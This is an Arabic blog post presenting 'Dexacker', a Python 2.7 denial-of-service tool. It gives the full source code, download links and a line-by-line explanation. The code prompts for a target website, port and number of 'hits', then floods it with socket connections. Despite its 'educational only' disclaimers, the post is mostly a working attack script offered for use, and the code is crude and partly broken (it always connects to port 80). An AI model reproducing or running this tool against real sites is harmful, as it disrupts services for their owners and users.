Dexacker:أداة تعليمية لهجمات حجب الخدمة
تحذير: تم برمجة أداة Dexacker لتكون تعليمية بحتة ﻹظهار قدرات لغة البرمجة بايثون في مجال أمن المعلومات من جهة و سهولة كتابة اﻷكواد فيها من جهة أخرى،و نحن نخلي مسؤولية الموقع و مسؤولية أعضائه من أي استخدام غير مسؤول للأداة،و تتحمل كامل المسؤولية إتجاه تصرفتك.
تمت برمجة أداة Dexacker للقيام بهجمات حجب الخدمة،باستخدام لغة البرمجة بايثون اﻹصدار 2.7 و بالتالي نضمن عملها على كل توزيعات لينكس،دعونا نستعرض الكود المصدري للأداة
#!/usr/bin/env python #______________________________________# #Dexacker is an open source tool developed by Abdelmadjd Cherfaoui #Dexacker is designed for Educational Stuff to do a LEGAL DDOS Test and the developers is # not responsible for ILLEGAL USES #Contacting using:@Hexacker | fb.com/Hexacker #http://www.hackercademy.com #http://www.bringitsimple.com #______________________________________# #Importing Modules import socket,os,sys,string #Lunching Tool print "Lunching Dexacker..." print "Remember that Dexacker is an Educational Tool\nand you are responsible for any ILLEGAL USES\nThe Developer is not responsible for your behaviors " #Default Settings host = raw_input("Enter the website link you want to DDOS it: ") port = int(raw_input("Enter the port you want to Attack: ")) message = raw_input("Write the message you want to send it: ") connections = int(raw_input("How many beat you want to make: " )) IP = socket.gethostbyname(host) #/ #The Attacking Function def Attack(): attack = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: attack.connect((host,80)) attack.send(message) attack.sendto(message, (IP,port)) attack.send(message); except socket.error,msg: print "Connection Failed" print "DDOS Attack Lunched" attack.close() for i in range(1,connections): Attack() print "______________________________________" print "The Operation is finished" #this is the restaring function def Restart(): program = sys.executable os.execl(program,program,* sys.argv) CurDirectory = os.getcwd() if __name__ == "__main__": request = raw_input("Do you start over? Y or N :") if request.strip() in "y Y yes Yes YES YEs yES".split(): Restart() else: os.system(CurDirectory+"Dexacker.py")
او تحميل من هنا
او تحميل مركز الخليج
الكود المصدري بسيط جدا،فكل ما في اﻷمر أننا قمنا بتضمين موديلات موجودة افتراضيا مع مفسر بايثون و تخص اﻹتصال،نظام التشغيل،النظام و السلاسل النصية،بعدها طباعة سطر الوصف الخاص بالأداة مع تذكير بالهدف من اﻷداة و إخلاء للمسؤولية...قمنا بعدها باستقبال مدخلات المستخدم على الترتيب و هي الموقع و وضعناه في المتغير host،المنفذ و وضعناه في المتغير port،رسالة يتم إرسالها أثناء عملية الهجوم و وضعناها في المتغير message،و بعدها عدد الضربات المراد تنفيذها على الهدف. بعد ذلك قمنا بجلب اﻷي بي الخاص بالموقع عن طريق استخدام الدالة gethostbyname من الموديل socket و وضعنا الناتج في المتغير IP. تم تعريف الدالة اﻷساسية و هي Attack و التي تحوي على اﻷوامر اﻷساسية بحيث أن المتغير attack يحوي على كود توجيه الضربات و بعدها قمنا بتسيير العملية عن طريق الحلقة try مع وضع احتمالية الخطأ و إرسال رسالة الخطأ Connection Failed و في حالة عدم وجود خطأ سيتم إطلاق الهجوم ثم بعدها يتم توقيف الهجوم و هكذا في كل دورة للحلقة try. يتم تكرار الحلقة try بعدد مرات الضربات التي تم إدخالها في المتغير connections و يتم مناداة الدالة Attack ثم تطبع الرسالة The Operation is finished و نسأل المستخدم هل يريد إعادة الكرة؟ دالة Restart تقوم بجلب المسار الحالي للملف من أجل إعادة تنفيذ البرنامج من جديد،بعدها يتم اﻹنتقال إلى الطلب من المستخدم إدخال امر يعبر عما يريده،فإن كان يريد اعادة الكرة سيقوم بإدخال y أو yes فيستأنف البرنامج العمل... حاليا أحاول تطوير برنامج يقوم بمنع هجمات حجب الخدمة و إن شاء الله سيتم اﻹنتهاء منه قريبا بحول الله...أعيد و أكرر،الأداة تم تطويرها للإستخدامات التعليمية فقط،دمتم بود،سلامmimoudz
تسعدنا زيارتك دائما, أتمنى أن تعجبكم المدونة , ويمكنكم زيارة المدونة بسرعة عن طريق جوجل فقط اكتب في مربع البحث ainoussera-programmer.blogspot.com.
هل أعجبك الموضوع ؟
ليست هناك تعليقات:
إرسال تعليق